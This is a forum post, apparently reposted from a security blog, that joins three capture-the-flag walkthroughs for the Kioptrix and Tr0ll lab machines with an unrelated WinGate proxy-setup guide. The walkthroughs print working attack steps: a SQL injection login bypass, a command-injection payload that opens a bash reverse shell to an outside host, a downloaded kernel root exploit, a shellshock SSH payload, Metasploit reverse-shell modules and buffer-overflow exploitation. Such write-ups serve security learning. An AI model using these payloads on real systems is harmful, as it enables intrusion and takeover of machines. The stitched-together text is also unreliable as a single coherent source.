Login

**NINZA** · 04-24-2020, 01:54 PM

0			0

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
You can Download it from

[To see content please register here]

and run install in your VM.
Lets start!!
Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.
[Image: 1.png?w=687&ssl=1]

So we target at 192.168.1.111 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.
nmap -A 192.168.1.111
1
nmap -A 192.168.1.111
[Image: 2.png?w=687&ssl=1]

Since port was 80 open so we explored target IP in the web browser and notice following login page.
URL:

[To see content please register here]

Without wasting time we try following SQL injection in the given going form.
Username: 1' or '1'
Password: 1' or '1'
1
2
Username: 1' or '1'
Password: 1' or '1'
[Image: 4.png?w=687&ssl=1]

Great!!! We successfully login into Basic Administrative Web console where we found an empty text field for user input. Whenever I saw such type of scenario, I try to test it against command injection vulnerabilities.
[Image: 5.png?w=687&ssl=1]

Therefore we submit ;id command to enumerate UID and GID of logged user.
[Image: 6.png?w=687&ssl=1]

As result it dump apache’s UID and GID and hence by this it’s proof that this application is vulnerable to command Injection.
[Image: 7.png?w=687&ssl=1]

In a new terminal we launch netcat revere connection shell to spawn victim’s tty shell. Then submit following payload as user input inside web application.
127.0.0.1; bash -i >& /dev/tcp/192.168.1.107/8888 0>&1
[Image: 8.png?w=687&ssl=1]

As soon as above payload will get submitted you get victim’s pty shell through netcat session.
Awesome!! You can see we had access victim’s command shell inside netcat, let’s penetrate it more for root access.
id
uname -a
1
2
id
uname -a
Then with help of Google we look for its Kernel exploit for privilege escalation and found Luckily “Linux kernel 2.6 < 2.6.19 (32bit) ip_append_data() local ring0 root exploit” hence we can use 9542exploit for privilege escalation.
cd /tmp
wget

[To see content please register here]

--no-check-certificate
mv 9542 shell.c
1
2
3
cd /tmp
wget

[To see content please register here]

--no-check-certificate
mv 9542 shell.c
[Image: 9.png?w=687&ssl=1]

gcc shell.c
./a.out
id
whoami
1
2
3
4
gcc shell.c
./a.out
id
whoami
B0000MM!! Here we have command shell of victim’s machine with root access.
[Image: 10.png?w=687&ssl=1]

Hello everyone and welcome to this CTF challenge. This is the next part to Tr0ll by Maleus. You can download the lab from

[To see content please register here]

. The objective of this lab is to get root and capture the flag.
The level of this challenge is not so tough and its difficulty level is described as beginner/intermediate.
Penetrating Methodologies

Network scanning (Nmap, Netdiscover)
Information Gathering
Analyzing web source code
Get robort.txt
Directory enumeration with the help of robots.txt (Dirb)
Found encoded answer.txt file
Decoding base64 text file
FTP login for Zip file
Cracking zip file (Fcrackzip)
Exploiting shellshock to get a shell in bash.
Spwan tty shell (Metasploit)
Privilege escalation
Finding vulnerable binary
Finding EIP offset
Exploiting buffer overflow
Getting the root flag

So, let’s get started!
The first step is as always, IP grabbing. In my case, the IP was 192.168.1.131. Use the following command to grab the IP :

netdiscover
1
netdiscover
[Image: 1.png?w=687&ssl=1]

Next step was port scanning and the discovery of open ports using nmap.
nmap -A 192.168.1.131
1
nmap -A 192.168.1.131
And we found 3 ports open- 21, 22, 80; with the service of FTP, SSH, and HTTP respectively.

[Image: 2.png?w=687&ssl=1]

So, we tried to open the IP in the browser to see what was in the web page and sure as hell, that troll face again! It really did live up to its name after all!
[Image: 3.png?w=687&ssl=1]

So, we opened the home page’s source code using curl:
curl

[To see content please register here]

1
curl

[To see content please register here]

We, then enumerated the IP using dirb to find something interesting and something did catch our eyes—robots.txt
dirb

[To see content please register here]

1
dirb

[To see content please register here]

Therefore, we opened robots.txt in the web browser and we saw a lot of directory names.
[Image: 5.png?w=687&ssl=1]

So, we downloaded robots.txt using wget and tried to make a dictionary out of it in hope that we find something good in one of them.
wget

[To see content please register here]

nano robots.txt
1
2
wget

[To see content please register here]

nano robots.txt
(Removed the ‘/’ from each line and saved it)
[Image: 6.png?w=687&ssl=1]

Enumerating it again with the custom dictionary we just made, few other directories were found.
dirb

[To see content please register here]

robots.txt
1
dirb

[To see content please register here]

robots.txt
[Image: 7.png?w=687&ssl=1]

So, we hit each directory on the browser and inspected each image since there was nothing else to play within the directories.
One by one we started searching each directory but nothing appealed to us. It all had the same troll image.
[Image: 8.png?w=687&ssl=1]

We checked the source code of the page but nothing seemed good.
[Image: 9.png?w=687&ssl=1]

Hence, we downloaded cat_the_troll.jpg from each directory but one such directory called dont_bother had something interesting in its image.
wget

[To see content please register here]

1
wget

[To see content please register here]

We read the last three lines of the image’s coding using tail command:
tail –n 3 cat_the_troll.jpg
1
tail –n 3 cat_the_troll.jpg
[Image: 11.png?w=687&ssl=1]

The code really said to look deep within “y0ur_self” to find the answer. Could it be a directory? let’s find out.
[Image: 12.png?w=687&ssl=1]

Voila! It indeed is a directory and really has an answer in it. But on opening answer.txt, the dictionary seemed to be base64 encoded.
[Image: 13.png?w=687&ssl=1]

We again downloaded the answer.txt file using wget and decoded it into a new file decoded.txt
wget

[To see content please register here]

1
wget

[To see content please register here]

Decoded it using:
base64 -d answer.txt>decoded.txt
1
base64 -d answer.txt>decoded.txt

Let’s save this dictionary for future use and move on to another port we discovered—the FTP port.
We had no idea of the username and password and neither was there any password or username file found.
But remember the very first source code we viewed? It had the author name Tr0ll.
Could that be the username and default password for FTP?
It was a complete hit and try method but we successfully got logged in!
ftp 192.168.1.131
ls
get lmao.zip
1
2
3
ftp 192.168.1.131
ls
get lmao.zip
[Image: 16.png?w=687&ssl=1]

We found a zip file “lmao.zip” in FTP. But the zip had password protection.
Wait… what about the file we just decoded? Could it have a password for the zip file?
fcrackzip –u –D –p decoded.txt lmao.zip
1
fcrackzip –u –D –p decoded.txt lmao.zip
We found the password!. Let’s unzip the file now.
unzip lmao.zip
1
unzip lmao.zip
And enter the password: ItCantReallybeThisEasyRightLOL
[Image: 17.png?w=687&ssl=1]

We had a high curiosity about the file “noob”.
cat noob
Turned out, it was an RSA key to SSH
[Image: 18.png?w=687&ssl=1]

Without any delay, we tried to login to SSH using this RSA key but we got trolled, yet again!
chmod 600 noob
ssh –i noob [email protected]
1
2
chmod 600 noob
ssh –i noob [email protected]
[Image: 19.png?w=687&ssl=1]

A complete arrow in the dark was to exploit shellshock vulnerability in SSH. So, we tried the command:
ssh –i noob [email protected] '() ( : ;}; /bin/bash'
1
ssh –i noob [email protected] '() ( : ;}; /bin/bash'
And we got logged in!
id
1
id
[Image: 20.png?w=687&ssl=1]

But it isn’t a proper teletype. We used web delivery in Metasploit to create a python shell to get a proper meterpreter session.
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.132
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
1
2
3
4
5
msf > use multi/script/web_delivery
msf exploit(multi/script/web_delivery) > set payload python/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) > set lhost 192.168.1.132
msf exploit(multi/script/web_delivery) > set lport 4444
msf exploit(multi/script/web_delivery) > run
[Image: 21.png?w=687&ssl=1]

We copied above-generated python code to the improper bash we just created.
[Image: 22.png?w=687&ssl=1]

On the other hand, we had got a meterpreter session.
sysinfo
1
sysinfo
[Image: 23.png?w=687&ssl=1]

Let’s get into the shell and try to spawn a proper teletype.
shell
python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null
1
2
3
shell
python –c "import pty;pty.spawn('/bin/bash');"
find / -perm -4000 2>/dev/null
[Image: 24.png?w=687&ssl=1]

The r00t binary in these directory work differently and change their behavior with each other on every reboot. One of these binaries (in our case it was in door2, it changes on reboot) accept a string as an argument and print it.
[Image: 25.png?w=687&ssl=1]

We open the binary in gdb debugger to look at the assembly code for the binary. At main+71 we find a strcpy function, as the strcpy function is vulnerable to buffer overflow we try to exploit it.
[Image: 26.png?w=687&ssl=1]

First, we create a 500 bytes long string to find the EIP offset using a pattern_create script.
./pattern_create.rb -l 500
1
./pattern_create.rb -l 500
[Image: 27.png?w=687&ssl=1]

We run the file in gdb along with the 500-byte character as the argument and find that the EIP register was overwritten with 0x6a413969.
[Image: 28.png?w=687&ssl=1]

We pass that into /usr/share/metasploit-framework/tools/pattern_offset.rb, we get an offset of 268. So we need to write 268 characters and then write the address of the instructions we want to be executed.
./pattern_offset.rb -q 6a413969
1
./pattern_offset.rb -q 6a413969
[Image: 30.png?w=687&ssl=1]

After getting the offset we find the ESP and find it to be 0xbffffc70 but we create our own exploit and execute it. But we get an error with illegal instruction that is because gdb has a different environment. Now, we remove 1 byte and take the ESP to be 0xbffffc80. We run the binary code by ignoring the environment along the exploit as per the argument. As soon as we execute the exploit we get a spawn a shell as root, and then when you open the /root directory and find a file called Proof.txt. When you take a look at the content of the files and find the final flag.
[Image: 31.png?w=687&ssl=1]

This Kioptrix VM Image are easy challenges. The object of the game is to acquire root access via any means possible (except actually hacking the VM server or player). The purpose of these games are to learn the basic tools and techniques in vulnerability assessment and exploitation. There are more ways then one to successfully complete the challenges.
You can Download it from

[To see content please register here]

and run install in your VM.
Table of content

Network scaning
Enumeration
Exploitation
Root access

Lets start!!
Turn on your attacking machine and use netdiscover command to scan your local network to get target IP.
[Image: 1.png?w=687&ssl=1]

So we target at 192.168.1.109 let go for its enumeration and scan open ports and protocols. With help nmap aggressive scan we have observe several open port and service running on it.
nmap -A 192.168.1.109
1
nmap -A 192.168.1.109
[Image: 2.png?w=687&ssl=1]

We also use Nikto for scanning vulnerability with help of following command:
nikto -h

[To see content please register here]

1
nikto -h

[To see content please register here]

It was very good to see the multiple vulnerability present in this lab.
[Image: 3.png?w=687&ssl=1]

Since with help of above enumeration it becomes clear that the lab can exploit in multiple therefore without wasting time we execute following command with help of metasploit and try to comprise target’s VM machine.
This exploits the buffer overflow found in Samba versions 2.2.0 to 2.2.8. This particular module is capable of exploiting the flaw on x86 Linux systems that do not have the noexec stack option set. NOTE: Some older versions of RedHat do not seem to be vulnerable since they apparently do not allow anonymous access to IPC.
use exploit/linux/samba/trans2open
msf exploit(linux/samba/trans2open) > set rhost 192.168.1.109
msf exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > set lhost 192.168.1.107
msf exploit(linux/samba/trans2open) > exploit
1
2
3
4
5
use exploit/linux/samba/trans2open
msf exploit(linux/samba/trans2open) > set rhost 192.168.1.109
msf exploit(linux/samba/trans2open) > set payload linux/x86/shell_reverse_tcp
msf exploit(linux/samba/trans2open) > set lhost 192.168.1.107
msf exploit(linux/samba/trans2open) > exploit
B0000MM!! Here we have command shell of victim’s machine with root access.
[Image: 4.png?w=687&ssl=1]

Digital era allows the company to work securely and much efficiently. For doing so software’s and hardware’s play a major role. Today, it is nearly impossible to work without technology. And we all know that when something has advantages when it comes with disadvantages too. For instance, you run a company or institute or even college. And you want to make sure that your employees or students are doing nothing but their work, so, how will know that? You can never know what someone is doing on their computer whether they are searching for inappropriate data or are playing a game or downloading a virus. Not even a router helps us monitor all the devices connected to our network. so, in this case, you can set up a Proxy Server.

First of all, connect both of your LAN cards to your computer. Once the LAN cards are connected, all you need to know is the IP address of the second network which it will configure automatically.

Now, open WinGate to its Welcome panel by right clicking on its hidden icon on the taskbar and selecting WinGate management option.

Now, go to your client computer, i.e the computer whose proxy you want to set up, and right-click on network adaptor icon (it is present on the right-hand side of the taskbar) and open network sharing dialogue box.

Now, open the Local Area Connection. The following window will open.
[Image: 7.png?w=687&ssl=1]

Now to go properties and the following windows will open.
[Image: 8.png?w=687&ssl=1]

Now select Internet Protocol Version 4 (TCP/IPv4) and click on properties and the following windows will open. Select Use the following IP address automatically in the said window. Here, give IP address of the series ahead of the IP address of the second LAN card’s IP address along with subnet mask. In the Default Gateway option, give the IP address of second LAN card.

Now, select Use the following DNS server automatically and give 8.8.8.8 as DNS address. Then click on OK.

The open web browser in your client computer, go to settings, open LAN settings and give the Default Gateway’s IP address. After doing so, all the traffic from the client’s computer will go through the proxy server and so; one will be able to monitor it.

Now that your web proxy is all setup go back to your proxy server (the computer in which you installed WinGate). Open WinGate, choose Network Connections from Control Panel. You will see two options.

Out of these two options right click on the option with the router’s IP (first LAN card’s IP) and select Edit Option. And then select an external untrusted network and click on OK as shown:

After clicking on OK the settings will change and you will be able to differentiate between external and internal network as:

If you want that any time your client computer opens a browser then they should enter a username and password to access the internet then all you have to do is go to Users and Groups.

Right click on the screen and select create user option. There give name and description (optional)
[Image: 15.png?w=687&ssl=1]

After giving name click on Next, give Account name and select Account locked option and again click on Next.
[Image: 16.png?w=687&ssl=1]

Now it will ask for a password. Enter your password and click on Finish.
[Image: 18.png?w=687&ssl=1]

By doing so, It will show you the entire user you just created.
[Image: 19.png?w=687&ssl=1]

Login
Username: Password: Lost Password? Remember me
Or Register an account

Announcement : For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis

Announcement :

For Purchasing Advertising Contact Us | Jabber : [email protected] | Telegram :- @bhcis